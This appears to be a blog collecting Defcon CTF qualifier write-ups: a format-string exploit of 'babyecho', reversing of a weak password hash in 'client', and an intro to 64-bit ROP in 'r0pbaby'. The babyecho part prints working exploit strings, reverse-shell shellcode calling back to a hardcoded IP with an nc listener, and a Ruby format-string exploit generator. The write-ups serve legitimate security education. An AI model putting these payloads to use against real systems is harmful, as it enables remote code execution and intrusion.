$ echo -e '\x91\xc6\xff\xff%99x%7$n\n''\x4c\xc1\xff\xff''\x4d\xc1\xff\xff''\x4e\xc1\xff\xff''\x4f\xc1\xff\xff''%192x%7$n''%246x%8$n''%57x%9$n''%10$n''\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90''\xcc' | ./babyecho > /dev/null
Trace/breakpoint trap (core dumped)

Awesome! The second test string I always use is \xeb\xfe, which causes an infinite loop:

$ echo -e '\x91\xc6\xff\xff%99x%7$n\n''\x4c\xc1\xff\xff''\x4d\xc1\xff\xff''\x4e\xc1\xff\xff''\x4f\xc1\xff\xff''%192x%7$n''%246x%8$n''%57x%9$n''%10$n''\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90''\xeb\xfe' | ./babyecho > /dev/null
...nothing happens...

I like using those two against the real server to see if things are working. The real server will disconnect you immediately for "\xcd\x03", and the server will time out with "\xeb\xfe".

Shellcode

For the final step (to exploiting it locally), let's grab some shellcode from the Internet.

This is some shellcode I've used in the past - it's x86, and it connects back to my ip address on port 0x4444 (17476). I've put some additional quotes around the ip address and the port number so they're easy to find:

"\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x66\xb3\x01\x51\x6a\x06\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x89\xc6\xb0\x66\x31\xdb\xb3\x02\x68""\xce\xdc\xc4\x3b""\x66\x68""\x44\x44""\x66\x53\xfe\xc3\x89\xe1\x6a\x10\x51\x56\x89\xe1\xcd\x80\x31\xc9\xb1\x03\xfe\xc9\xb0\x3f\xcd\x80\x75\xf8\x31\xc0\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x52\x89\xe2\xb0\x0b\xcd\x80"

We replace the "\xcc" or "\xeb\xfe" with all that muck, and give it a run:

$ echo -e '\x91\xc6\xff\xff%99x%7$n\n''\x4c\xc1\xff\xff''\x4d\xc1\xff\xff''\x4e\xc1\xff\xff''\x4f\xc1\xff\xff''%192x%7$n''%246x%8$n''%57x%9$n''%10$n''\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90'"\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x66\xb3\x01\x51\x6a\x06\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x89\xc6\xb0\x66\x31\xdb\xb3\x02\x68""\xce\xdc\xc4\x3b""\x66\x68""\x44\x44""\x66\x53\xfe\xc3\x89\xe1\x6a\x10\x51\x56\x89\xe1\xcd\x80\x31\xc9\xb1\x03\xfe\xc9\xb0\x3f\xcd\x80\x75\xf8\x31\xc0\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x52\x89\xe2\xb0\x0b\xcd\x80" | ./babyecho > /dev/null

Meanwhile, on my server, I'm listening for connections, and sure enough, a connection comes:

$ nc -vv -l -p 17476
listening on [any] 17476 ...
connect to [206.220.196.59] from 71-35-121-132.tukw.qwest.net [71.35.121.123] 56307
  pwd
/home/ron/defcon-quals/babyecho
ls /
applications-merged
bin
boot
dev
etc
home
lib
lib32
lib64
lost+found
media
mnt
opt
proc
root
run
sbin
stage3-amd64-20130124.tar.bz2
sys
tmp
torrents
usr
var
vmware

Using it against the real server...

The biggest difference between what we just did and using this against the real server is that you can't run a debugger on the server to grab addresses. Instead, you have to leak a stack address and use a relative offset. That's pretty straight forward, though, the format string lets you use "%x" to go up and down the stack trivially.

It's also a huge pain to calculate all the offsets by hand, so here's some code I wrote during the competition to generate a format string exploit for you... it should take care of everything:

def create_exploit(writes, starting_offset, prefix = "")
  index = starting_offset
  str = prefix

  addresses = []
  values = []
  writes.keys.sort.each do |k|
    addresses << k
    values << writes[k]
  end
  addresses.each do |a|
    str += [a, a+1, a+2, a+3].pack("VVVV")
  end

  len = str.length

  values.each do |v|
    a = (v >>  0) & 0x0FF
    b = (v >>  8) & 0x0FF
    c = (v >> 16) & 0x0FF
    d = (v >> 24) & 0x0FF

    [a, b, c, d].each do |val|
      count = 257
      len  += 1
      while((len & 0x0FF) != val)
        len   += 1
        count += 1
      end

      str += "%#{count}x"
      str += "%#{index}$n"
      index += 1
    end
  end

  puts("Generated a #{str.length}-byte format string exploit:")
  puts(str)
  puts(str.unpack("H*"))

  return str
end

Conclusion

That's a big, long, fairly detailed explanation of format string bugs.

Basically, a format string bug lets you read the stack and write to addresses stored on the stack. By using four single-byte writes to consecutive addresses, and carefully wasting just enough bytes in between, you can write an arbitrary value to anywhere in memory.

By carefully selecting where to write, you can overwrite the return address.

In this particular level, we were able to run shellcode directly from the stack. Ordinarily. I would have looped for somewhere to ROP to, such as using mprotect() to make the stack executable.

And that's it!

Please leave feedback. I spent a long time writing this, would love to hear what people think!

Defcon Quals: Access Control (simple reverse engineer)

Hello all,

Today's post will be another write-up from the Defcon CTF Qualifiers. This one will be the level called "Access Client", or simply "client", which was a one-point reverse engineering level. This post is going to be mostly about the process I use for reverse engineering crypto-style code - it's a much different process than reversing higher level stuff, because each instruction matters and it's often extremely hard to follow.

Having just finished another level (r0pbaby, I think), and having about an hour left in the competition, I wanted something I could finish quickly. There were two one-point reverse engineering challenges open that we hadn't solved: one was 64-bit and written in C++, whereas this one was 32-bit and C and only had a few short functions. The choice was easy. :)

I downloaded the binary and had a look at its strings. Lots of text-based stuff, such as "list users", "print key", and "connection id:", which I saw as a good sign!

Running it

If you wnat to follow along, I uploaded all my work to my Github page, including a program called server.rb that more or less simulates the server. It's written in Ruby, obviously, and simulates all the responses. The real client can't actually read the flag from it, though, and I can't figure out why (and spent way too much time last night re-reversing the client binary before realizing it doesn't matter).

Anyway, when you run the client, it asks for an ip address:

$ ./client
need IP

The competition gives you a target, so that's easy (note that most of this is based on my own server.rb, not the real one, which I re-created from packet captures:

$ ./client 52.74.123.29
Socket created
Enter message : Hello
nope...Hello

If you look at a packet capture of this, you'll see that a connection is made but nothing is sent or received. Local checks are best checks!

All right.. time for some reversing! I open up the client program in IDA, and go straight to the Strings tab (Shift-F12). I immediately see "Enter message :" so I double click it and end up here:

.rodata:080490F5 ; char aEnterMessage[]
.rodata:080490F5 aEnterMessage   db 'Enter message : ',0 ; DATA XREF: main+178o
.rodata:08049106 aHackTheWorld   db 'hack the world',0Ah,0 ; DATA XREF: main+1A7o
.rodata:08049116 ; char aNope_[]
.rodata:08049116 aNope___S       db 'nope...%s',0Ah,0    ; DATA XREF: main+1CAo

Could it really be that easy?

The answer, for a change, is yes:

$ ./client 52.74.123.29
Socket created
Enter message : hack the world
<< connection ID: nuc EW1A IQr^2&


*** Welcome to the ACME data retrieval service ***
what version is your client?

<< hello...who is this?
<<

<< enter user password

<< hello grumpy, what would you like to do?
<<

<< grumpy
mrvito
gynophage
selir
jymbolia
sirgoon
duchess
deadwood
hello grumpy, what would you like to do?

<< the key is not accessible from this account. your administrator has been notified.
<<
hello grumpy, what would you like to do?

Then it just sits there.

I logged the traffic with Wireshark and it looks like this (blue = incoming, red = outgoing, or you can just download my pcap):

connection ID: Je@/b9~A>Xa'R-


*** Welcome to the ACME data retrieval service ***
what version is your client?
version 3.11.54
hello...who is this?grumpy

enter user password
H0L31
hello grumpy, what would you like to do?
list users
grumpy
mrvito
gynophage
selir
jymbolia
sirgoon
duchess
deadwood
hello grumpy, what would you like to do?
print key
the key is not accessible from this account. your administrator has been notified.
hello grumpy, what would you like to do?

Connection IDs and passwords

I surmised, based on this, that the connection id was probably random (it looks random) and that the password is probably hashed (poorly) and not replay-able (that'd be too easy). Therefore, the password is probably based on the connection id.

To verify the first part, I ran a capture a second time:

connection ID: #2^1}P>JAqbsaj
[...]
hello...who is this?
grumpy
enter user password
V/%S:

Yup, it's different!

I did some quick digging in IDA and found a function - sub_8048EAB - that was called with "grumpy" and "1" as parameters, as well as a buffer that would be sent to the server. It looked like it did some arithmetic on "grumpy" - which is presumably a password, and it touched a global variable - byte_804BC70 - that, when I investigated, turned out to be the connection id. The function was called from a second place, too, but we'll get to that later!

So now we've found a function that looks at the password and the connection id. That sounds like the hashing function to me (and note that I'm using the word "hashing" in its literal sense, it's obviously not a secure hash)! I could have used a debugger to verify that it was actually returning a hashed password, but the clock was ticking and I had to make some assumptions in order to keep moving - if the the assumptions turned out to be wrong, I wouldn't have finished the level, but I wouldn't have finished it either if I verified everything.

I wasn't entirely sure what had to be done from here, but it seemed logical to me that reverse engineering the password-hashing function was something I'd eventually have to do. So I got to work, figuring it couldn't hurt!

Reversing the hashing function

There are lots of ways to reverse engineer a function. Frequently, I take a higher level view of what libc/win32 functions it calls, but sub_8048EAB doesn't call any functions. Sometimes I'll try to understand the code, mentally, but I'm not super great at that. So I used a variation of this tried-and-true approach I often use for crypto code:

  1. Reverse each line of assembly to exactly one line of C
  2. Test it against the real version, preferably instrumented so I can automatically ensure that it's working properly
  3. While the output of my code is different from the output of their code, use a debugger (on the binary) and printf statements (on your implementation) to figure out where the problem is - this usually takes the most of my time, because there are usually several mistakes
  4. With the testing code still in place, simplify the C function as much as you can

Because I only had about an hour to reverse this, I had to cut corners. I reversed it to Ruby instead of C (so I wouldn't have to deal with sockets in C), I didn't set up proper instrumentation and instead used Wireshark, and I didn't simplify anything till afterwards. In the end, I'm not sure whether this was faster or slower than doing it "right", but it worked so I can't really complain.

Version 1

As I said, the first thing I do is translate the code directly, line by line, to assembly. I had to be a little creative with loops and pointers because I can't just use goto and cast everything to an integer like I would in C, but this is what it looked like. Note that I've fixed all the bugs that were in the original version - there were a bunch, but it didn't occur to me to keep the buggy code - I did, however, leave in the printf-style statements I used for debugging!

# mode = 1 for passwords, 7 for keys
def hash_password(password, connection_id, mode)
# mov     eax, [ebp+password]
  eax = password

# mov     [ebp+var_2C], eax
  var_2c = eax

# mov     eax, [ebp+buffer]
  eax = ""

# mov     [ebp+var_30], eax
  var_30 = ""

# xor     eax, eax
  eax = 0

# mov     ecx, ds:g_connection_id_plus_7 ; 0x0000007d, but changes
  ecx = connection_id[7]
  #puts('%x' % ecx.ord)

# mov     edx, 55555556h
  edx = 0x55555556
# mov     eax, ecx
  eax = ecx
# imul    edx
  #puts("imul")
  #puts("%x" % eax.ord)
  #puts("%x" % edx)
  edx = ((eax.ord * edx) >> 32)
  #puts("%x" % edx)
# mov     eax, ecx
  eax = ecx
# sar     eax, 1Fh
  #puts("sar")
  #puts("%x" % eax.ord)
  eax = eax.ord >> 0x1F
  #puts("%x" % eax)
# mov     ebx, edx
  ebx = edx
# sub     ebx, eax
  ebx -= eax
  #puts("sub")
  #puts("%x" % ebx)
# mov     eax, ebx
  eax = ebx
# mov     [ebp+var_18], eax
  var_18 = eax
# mov     edx, [ebp+var_18]
  edx = var_18
# mov     eax, edx
  eax = edx
# add     eax, eax
  eax = eax * 2
# add     eax, edx
  eax = eax + edx

  #puts("")
  #puts("%x" % eax)
# mov     edx, ecx
  edx = ecx
# sub     edx, eax
  #puts()
  #puts("%x" % ecx.ord)
  #puts("%x" % edx.ord)
  edx = edx.ord - eax
  #puts("%x" % edx)
# mov     eax, edx
  eax = edx
# mov     [ebp+var_18], eax
  var_18 = eax
  #puts()
  #puts("%x" % var_18)
# mov     eax, dword_804B04C
  eax = mode
# add     [ebp+var_18], eax
  var_18 += eax
  #puts("%x" % eax)
# mov     edx, offset g_connection_id ; <--
  edx = connection_id
# mov     eax, [ebp+var_18]
  eax = var_18
# add     eax, edx
# mov     dword ptr [esp+8], 5 ; n
# mov     [esp+4], eax    ; src
# lea     eax, [ebp+dest]
# mov     [esp], eax      ; dest
# call    _strncpy
  dest = connection_id[var_18, 5]
  #puts(dest)
# mov     [ebp+var_1C], 0
  var_1c = 0

# jmp     short loc_8048F4A
# loc_8048F2A:                            ; CODE XREF: do_password+A3j
  0.upto(4) do |var_1c|
#   mov     eax, [ebp+var_1C]
    eax = var_1c
#   add     eax, [ebp+var_30]
    # XXX
#   lea     edx, [ebp+dest]
    edx = dest

#   add     edx, [ebp+var_1C]
#   movzx   ecx, byte ptr [edx]
    ecx = edx[var_1c]
#   mov     edx, [ebp+var_1C]
    edx = var_1c

#   add     edx, [ebp+var_2C]
#   movzx   edx, byte ptr [edx]
    edx = var_2c[var_1c]

#   xor     edx, ecx
    edx = edx.ord ^ ecx.ord
#   mov     [eax], dl
    edx &= 0x0FF
    var_30[var_1c] = (edx & 0x0FF).chr

#   add     [ebp+var_1C], 1
#
#   loc_8048F4A:                            ; CODE XREF: do_password+7Dj
#   cmp     [ebp+var_1C], 4
#   jle     short loc_8048F2A
  end

  #puts()

  return var_30
end

After I got it working and returning the same value as the real implementation, I had a problem! The value I returned - even though it matched the real program - wasn't quite right! It had a few binary characters in it, whereas the value sent across the network never did. I looked around and found the function - sub_8048F67 - that actually sends the password to the server. It turns out, that function replaces all the low- and high-ASCII characters with proper ones (the added lines are in bold):

# mode = 1 for passwords, 7 for keys
def hash_password(password, connection_id, mode)
# mov     eax, [ebp+password]
  eax = password

# mov     [ebp+var_2C], eax
  var_2c = eax

# mov     eax, [ebp+buffer]
  eax = ""

# mov     [ebp+var_30], eax
  var_30 = ""

# xor     eax, eax
  eax = 0

# mov     ecx, ds:g_connection_id_plus_7 ; 0x0000007d, but changes
  ecx = connection_id[7]
  #puts('%x' % ecx.ord)

# mov     edx, 55555556h
  edx = 0x55555556
# mov     eax, ecx
  eax = ecx
# imul    edx
  #puts("imul")
  #puts("%x" % eax.ord)
  #puts("%x" % edx)
  edx = ((eax.ord * edx) >> 32)
  #puts("%x" % edx)
# mov     eax, ecx
  eax = ecx
# sar     eax, 1Fh
  #puts("sar")
  #puts("%x" % eax.ord)
  eax = eax.ord >> 0x1F
  #puts("%x" % eax)
# mov     ebx, edx
  ebx = edx
# sub     ebx, eax
  ebx -= eax
  #puts("sub")
  #puts("%x" % ebx)
# mov     eax, ebx
  eax = ebx
# mov     [ebp+var_18], eax
  var_18 = eax
# mov     edx, [ebp+var_18]
  edx = var_18
# mov     eax, edx
  eax = edx
# add     eax, eax
  eax = eax * 2
# add     eax, edx
  eax = eax + edx

  #puts("")
  #puts("%x" % eax)
# mov     edx, ecx
  edx = ecx
# sub     edx, eax
  #puts()
  #puts("%x" % ecx.ord)
  #puts("%x" % edx.ord)
  edx = edx.ord - eax
  #puts("%x" % edx)
# mov     eax, edx
  eax = edx
# mov     [ebp+var_18], eax
  var_18 = eax
  #puts()
  #puts("%x" % var_18)
# mov     eax, dword_804B04C
  eax = mode
# add     [ebp+var_18], eax
  var_18 += eax
  #puts("%x" % eax)
# mov     edx, offset g_connection_id ; <--
  edx = connection_id
# mov     eax, [ebp+var_18]
  eax = var_18
# add     eax, edx
# mov     dword ptr [esp+8], 5 ; n
# mov     [esp+4], eax    ; src
# lea     eax, [ebp+dest]
# mov     [esp], eax      ; dest
# call    _strncpy
  dest = connection_id[var_18, 5]
  #puts(dest)
# mov     [ebp+var_1C], 0
  var_1c = 0

# jmp     short loc_8048F4A
# loc_8048F2A:                            ; CODE XREF: do_password+A3j
  0.upto(4) do |var_1c|
#   mov     eax, [ebp+var_1C]
    eax = var_1c
#   add     eax, [ebp+var_30]
    # XXX
#   lea     edx, [ebp+dest]
    edx = dest

#   add     edx, [ebp+var_1C]
#   movzx   ecx, byte ptr [edx]
    ecx = edx[var_1c]
#   mov     edx, [ebp+var_1C]
    edx = var_1c

#   add     edx, [ebp+var_2C]
#   movzx   edx, byte ptr [edx]
    edx = var_2c[var_1c]

#   xor     edx, ecx
    edx = edx.ord ^ ecx.ord
#   mov     [eax], dl
    edx &= 0x0FF

    #puts("before edx = %x" % edx)
    if(edx < 0x1f)
      #puts("a")
      edx += 0x20
    elsif(edx > 0x7F)
      edx = edx - 0x7E + 0x20
    end
    #puts("after edx = %x" % edx)

    var_30[var_1c] = (edx & 0x0FF).chr

#   add     [ebp+var_1C], 1
#
#   loc_8048F4A:                            ; CODE XREF: do_password+7Dj
#   cmp     [ebp+var_1C], 4
#   jle     short loc_8048F2A
  end

  #puts()

  return var_30
end

As you can see, it's quite long and difficult to follow. But, now that the bugs were fixed, it was outputting the same thing as the real version! I set it up to log in with the username 'grumpy' and the password 'grumpy' and it worked great!

Cleaning it up

I didn't actually clean up the code until after the competition, but here's the step-by-step cleanup that I did, just so I could blog about it.

First, I removed all the comments:

def hash_password_phase2(password, connection_id, mode)
  eax = password
  var_2c = eax
  eax = ""
  var_30 = ""
  eax = 0
  ecx = connection_id[7]
  edx = 0x55555556
  eax = ecx
  edx = ((eax.ord * edx) >> 32)
  eax = ecx
  eax = eax.ord >> 0x1F
  ebx = edx
  ebx -= eax
  eax = ebx
  var_18 = eax
  edx = var_18
  eax = edx
  eax = eax * 2
  eax = eax + edx

  edx = ecx
  edx = edx.ord - eax
  eax = edx
  var_18 = eax
  eax = mode
  var_18 += eax
  edx = connection_id
  eax = var_18
  dest = connection_id[var_18, 5]
  var_1c = 0

  0.upto(4) do |var_1c|
    eax = var_1c
    edx = dest
    ecx = edx[var_1c]
    edx = var_1c
    edx = var_2c[var_1c]
    edx = edx.ord ^ ecx.ord
    edx &= 0x0FF
    if(edx < 0x1f)
      edx += 0x20
    elsif(edx > 0x7F)
      edx = edx - 0x7E + 0x20
    end
    var_30[var_1c] = (edx & 0x0FF).chr
  end
  return var_30
end

Then I started eliminating redundant statements:

def hash_password_phase3(password, connection_id, mode)
  ecx = connection_id[7]
  eax = ecx
  edx = ((eax.ord * 0x55555556) >> 32)
  eax = ecx
  eax = eax.ord >> 0x1F
  eax = ((edx - (eax.ord >> 0x1F)) * 2) + edx

  edx = ecx
  edx = edx.ord - eax
  eax = edx
  var_18 = eax
  var_18 += mode
  edx = connection_id
  eax = var_18
  dest = connection_id[var_18, 5]

  result = ""
  0.upto(4) do |i|
    eax = i
    edx = dest
    ecx = edx[i]
    edx = password[i]
    edx = edx.ord ^ ecx.ord
    edx &= 0x0FF
    if(edx < 0x1f)
      edx += 0x20
    elsif(edx > 0x7F)
      edx = edx - 0x7E + 0x20
    end
    result << (edx & 0x0FF).chr
  end

  return result
end

Removed some more redundancy:

def hash_password_phase4(password, connection_id, mode)
  char_7 = connection_id[7].ord
  edx = ((char_7 * 0x55555556) >> 32)
  eax = ((edx - (char_7 >> 0x1F >> 0x1F)) * 2) + edx

  result = ""
  0.upto(4) do |i|
    edx = (password[i].ord ^ connection_id[char_7 - eax + mode + i].ord) & 0xFF

    if(edx < 0x1f)
      edx += 0x20
    elsif(edx > 0x7F)
      edx = edx - 0x7E + 0x20
    end
    result << (edx & 0x0FF).chr
  end

  return result
end

And a final cleanup pass where I eliminated the "bad paths" - things that I know can't possibly happen:

def hash_password_phase5(password, connection_id, mode)
  char_7 = connection_id[7].ord

  result = ""
  0.upto(4) do |i|
    edx = password[i].ord ^ connection_id[i + char_7 - (((char_7 * 0x55555556) >> 32) * 3) + mode].ord
    if(edx < 0x1f)
      edx += 0x20
    elsif(edx > 0x7F)
      edx = edx - 0x7E + 0x20
    end
    result << edx.chr
  end

  return result
end

And that's the final product! Remember, at each step of the way I was testing and re-testing to make sure it worked for a few dozen test strings. That's important because it's really, really easy to miss stuff.

The rest of the level

Now, getting back to the level...

As we saw above, after logging in, the real client sends "list users" then "print key". "print key" fails because the user doesn't have administrative rights, so presumably one of the users printed out on the "list users" page does.

I went through and manually entered each user into the program, with the same username as password (seemed like the thing to do, since grumpy's password was "grumpy") until I reached the user "duchess". When I tried "duchess", I got the prompt:

challenge: /\&[$
answer?

When I was initially reversing the password hashing, I noticed that the hash_password() function was called a second time near the strings "challenge:" and "answer?"! The difference was that instead of passing the integer 1 as the mode, it passed 7. So I tried calling hash_password('/\&[$', connection_id, 7) and got the response, "<=}-^".

I sent that, and the key came back! Here's the full session:

connection ID: Tk8)k)e3a[vzN^


*** Welcome to the ACME data retrieval service ***
what version is your client?
version 3.11.54
hello...who is this?
duchess
enter user password
/MJ#L
hello duchess, what would you like to do?
print key
challenge: /\&[$
answer?
<=}-^
the key is: The only easy day was yesterday. 44564

I submitted the key with literally three minutes to go. I was never really sure if I was doing the right thing at each step of the way, but it worked!

An alternate solution

If I'd had the presence of mind to realize that the username would always be the password, there's another obvious solution to the problem that probably would have been a whole lot easier.

The string "grumpy" (as both the username and the password) is only read in three different places in the binary. It would have been fairly trivial to:

  1. Find a place in the binary where there's some room (right on top of the old "grumpy" would be fine)
  2. Put the string "duchess" in this location (and the other potential usernames if you don't yet know which one has administrative access)
  3. Patch the three references to "grumpy" to point to the new string instead of the old one - unfortunately, using a new location instead of just overwriting the strings is necessary because "duchess" is longer than "grumpy" so there's no room
  4. Run the program and let it get the key itself

That would have been quicker and easier, but I wasn't confident enough that the usernames and passwords would be the same, and I didn't want to risk going down the wrong path with almost no time left, so I decided against trying that.

Conclusion

This wasn't the most exciting level I've ever done, but it was quick and gave me the opportunity to do some mildly interesting reverse engineering.

The main idea was to show off my process - translate line by line, instrument it, debug till it works, then refactor and reduce and clean up the code!

Defcon Quals: r0pbaby (simple 64-bit ROP)

This past weekend I competed in the Defcon CTF Qualifiers from the Legit Business Syndicate. In the past it's been one of my favourite competitions, and this year was no exception!

Unfortunately, I got stuck for quite a long time on a 2-point problem ("wwtw") and spent most of my weekend on it. But I did do a few others - r0pbaby included - and am excited to write about them, as well!

r0pbaby is neat, because it's an absolute bare-bones ROP (return-oriented programming) level. Quite honestly, when it makes sense, I actually prefer using a ROP chain to using shellcode. Much of the time, it's actually easier! You can see the binary, my solution, and other stuff I used on this github repo.

It might make sense to read a post I made in 2013 about a level in PlaidCTF called ropasaurusrex. But it's not really necessary - I'm going to explain the same stuff again with two years more experience!

What is ROP?

Most modern systems have DEP - data execution prevention - enabled. That means that when trying to run arbitrary code, the code has be in memory that's executable. Typically, when a process is running, all memory segments are either writable (+w) or executable (+x) - not both. That's sometimes called "W^X", but it seems more appropriate to just call it common sense.

ROP - return-oriented programming - is an exploitation technique that bypasses DEP. It does that by chaining together legitimate code that's already in executable memory. This requires the attacker to either a) have complete control of the stack, or b) have control of rip/eip (the instruction pointer register) and the ability to change esp/rsp (the stack pointer) to point to another buffer.

As a quick example, let's say you overwrite the return address of a vulnerable function with the address of libc's sleep() function. When the vulnerable function attempts to return, instead of returning to where it's supposed to (or returning to shellcode), it'll return to the first line of sleep().

On a 32-bit system, sleep() will look at the next-to-next value on the stack to find out how long to sleep(). On a 64-bit system, it'll look at the value of the rdi register for its argument, which is a little more elaborate to set up. When it's done, it'll return to the next value on the stack on both architectures, which could very well be another function.

So basically, sleep() expects its stack to look like on 32-bit:

+----------------------+
|...higher addresses...|
+----------------------+
|         1000         | <-- sleep() looks here for its param (on 32-bit)
+----------------------+
|     [return addr]    | <-- where esp will be when sleep() is entered
+----------------------+
|    [sleep's  addr]   | <-- return addr of previous function
+----------------------+
|...lower addresses....| <-- other data from previous function
+----------------------+

And on 64-bit:

+----------------------+
|...higher addresses...|
+----------------------+ <-- sleep()'s param is in rdi, so it's not needed here
|     [return addr]    | <-- where rsp will be when sleep() is entered
+----------------------+
|    [sleep's  addr]   | <-- return addr of previous function
+----------------------+
|...lower addresses....| <-- other data from previous function
+----------------------+

We'll dive into deeper detail of how to set this up and see way more stack diagrams shortly. But let's start from the beginning!

Taking a first look

When you run r0pbaby, or connect to their service, you will see a prompt (the program uses stdin/stdout for i/o):

$ ./r0pbaby

Welcome to an easy Return Oriented Programming challenge...
Menu:
1) Get libc address
2) Get address of a libc function
3) Nom nom r0p buffer to stack
4) Exit
:

It's worthwhile messing with the options a bit to get a feel for it:

$ ./r0pbaby

Welcome to an easy Return Oriented Programming challenge...
Menu:
1) Get libc address
2) Get address of a libc function
3) Nom nom r0p buffer to stack
4) Exit
: 1
libc.so.6: 0x00007FFFF7FF8B28
1) Get libc address
2) Get address of a libc function
3) Nom nom r0p buffer to stack
4) Exit
: 2
Enter symbol: system
Symbol system: 0x00007FFFF7883960
1) Get libc address
2) Get address of a libc function
3) Nom nom r0p buffer to stack
4) Exit
: 2
Enter symbol: printf
Symbol printf: 0x00007FFFF7892F10
1) Get libc address
2) Get address of a libc function
3) Nom nom r0p buffer to stack
4) Exit
: 3
Enter bytes to send (max 1024): hello???
Invalid amount.
1) Get libc address
2) Get address of a libc function
3) Nom nom r0p buffer to stack
4) Exit
:

We'll look at option 3 more in a little while, but for now let's take a quick look at options 1 and 2. The rest of this section isn't directly applicable to the exploitation stuff, so you're free to skip it if you want. :)

If you look at the results from option 1 and option 2, you'll see one strange thing: the return from "Get libc address" is higher than the addresses of printf() and system(). It also isn't page aligned (a multiple of 0x1000 (4096), usually), so it almost certainly isn't actually the base address (which, in fairness, the level doesn't explicitly say it is).

I messed around a bit out of curiosity. Here's what I discovered...

First, run the program in gdb and get the address that they claim is libc:

$ gdb -q ./r0pbaby
Reading symbols from ./r0pbaby...(no debugging symbols found)...done.
(gdb) run
Starting program: /home/ron/defcon-quals/r0pbaby/r0pbaby

Welcome to an easy Return Oriented Programming challenge...
Menu:
1) Get libc address
2) Get address of a libc function
3) Nom nom r0p buffer to stack
4) Exit
: 1
libc.so.6: 0x00007FFFF7FF8B28
1) Get libc address
2) Get address of a libc function
3) Nom nom r0p buffer to stack
4) Exit

So that's what it returns: 0x00007FFFF7FF8B28. Now we use ctrl-c to break into the debugger and figure out the real base address:

: ^C
Program received signal SIGINT, Interrupt.
0x00007ffff791e5e0 in __read_nocancel () from /lib64/libc.so.6
(gdb) info proc map
process 5475
Mapped address spaces:

          Start Addr           End Addr       Size     Offset objfile
      0x555555554000     0x555555556000     0x2000        0x0 /home/ron/defcon-quals/r0pbaby/r0pbaby
      0x555555755000     0x555555757000     0x2000     0x1000 /home/ron/defcon-quals/r0pbaby/r0pbaby
      0x555555757000     0x555555778000    0x21000        0x0 [heap]
      0x7ffff7842000     0x7ffff79cf000   0x18d000        0x0 /lib64/libc-2.20.so
      0x7ffff79cf000     0x7ffff7bce000   0x1ff000   0x18d000 /lib64/libc-2.20.so
      0x7ffff7bce000     0x7ffff7bd2000     0x4000   0x18c000 /lib64/libc-2.20.so
      0x7ffff7bd2000     0x7ffff7bd4000     0x2000   0x190000 /lib64/libc-2.20.so
[...]

This tells us that the actual address where libc is loaded is 0x7ffff7842000. Theirs was definitely wrong!

On a Linux system, the first 4 bytes at the base address will usually be "\x7fELF" or "\x7f\x45\x4c\x46". We can check the first four bytes at the actual base address to verify:

(gdb) x/8xb 0x7ffff7842000
0x7ffff7842000: 0x7f    0x45    0x4c    0x46    0x02    0x01    0x01    0x00
(gdb) x/8xc 0x7ffff7842000
0x7ffff7842000: 127 '\177'      69 'E'  76 'L'  70 'F'  2 '\002'        1 '\001'        1 '\001'        0 '\000'

And we can check the base address that the program tells us:

(gdb) x/8xb 0x00007FFFF7FF8B28
0x7ffff7ff8b28: 0x00    0x20    0x84    0xf7    0xff    0x7f    0x00    0x00

From experience, that looks like a 64-bit address to me (6 bytes long, starts with 0x7f if you read it in little endian), so I tried print it as a 64-bit value:

(gdb) x/xg 0x00007FFFF7FF8B28
0x7ffff7ff8b28: 0x00007ffff7842000

Aha! It's a pointer to the actual base address! It seems a little odd to send that to the user, it does them basically no good, so I'll assume that it's a bug. :)

Stealing libc

If there's one thing I hate, it's attacking a level blind. Based on the output so far, it's pretty clear that they're going to want us to call a libc function, but they don't actually give us a copy of libc.so! While it's not strictly necessary, having a copy of libc.so makes this far easier.

I'll post more details about how and why to steal libc in a future post, but for now, suffice to stay: if you can, beat the easiest 64-bit level first (like babycmd) and liberate a copy of libc.so. Also snag a 32-bit version of libc if you can find one. Believe me, you'll be thankful for it later! To make it possible to follow the rest of this post, here's libc-2.19.so from babycmd and here's libc-2.20.so from my box, which is the one I'll use for this writeup.

You might be wondering how to verify whether or not that actually IS the right library. For now, let's consider that to be homework. I'll be writing more about that in the future, I promise!

Find a crash

I played around with option 3 for awhile, but it kept giving me a length error. So I used the best approach for annoying CTF problems: I asked a teammate who'd already solved that problem. He'd reverse engineered the function already, saving me the trouble. :)

It turns out that the correct way to format things is by sending a length, then a newline, then the payload:

$ ./r0pbaby

Welcome to an easy Return Oriented Programming challenge...
Menu:
1) Get libc address
2) Get address of a libc function
3) Nom nom r0p buffer to stack
4) Exit
: 3
Enter bytes to send (max 1024): 20
AAAAAAAAAAAAAAAAAAAA
1) Get libc address
2) Get address of a libc function
3) Nom nom r0p buffer to stack
4) Exit
: Bad choice.
Segmentation fault

Well, that may be one of the easiest ways I've gotten a segfault! But the work isn't quite done. :)

rip control

Our first goal is going to be to get control of rip (that's like eip, the instruction pointer, but on a 64-bit system). As you probably know by now, rip is the register that points to the current instruction being executed. If we move it, different code runs. The classic attack is to move eip to point at shellcode, but ROP is different. We want to carefully control rip to make sure it winds up in all the right places.

But first, let's non-carefully control it!

The program indicates that it's writing the r0p buffer to the stack, so the easiest thing to do is probably to start throwing stuff into the buffer to see what happens. I like to send a string with a series of values I'll recognize in a debugger. Since it's a 64-bit app, I send 8 "A"s, 8 "B"s, and so on. If it doesn't crash. I send more.

$ gdb -q ./r0pbaby
(gdb) run

[...]

: 3
Enter bytes to send (max 1024): 32
AAAAAAAABBBBBBBBCCCCCCCCDDDDDDDD
1) Get libc address
2) Get address of a libc function
3) Nom nom r0p buffer to stack
4) Exit
: Bad choice.

Program received signal SIGSEGV, Segmentation fault.
0x0000555555554eb3 in ?? ()

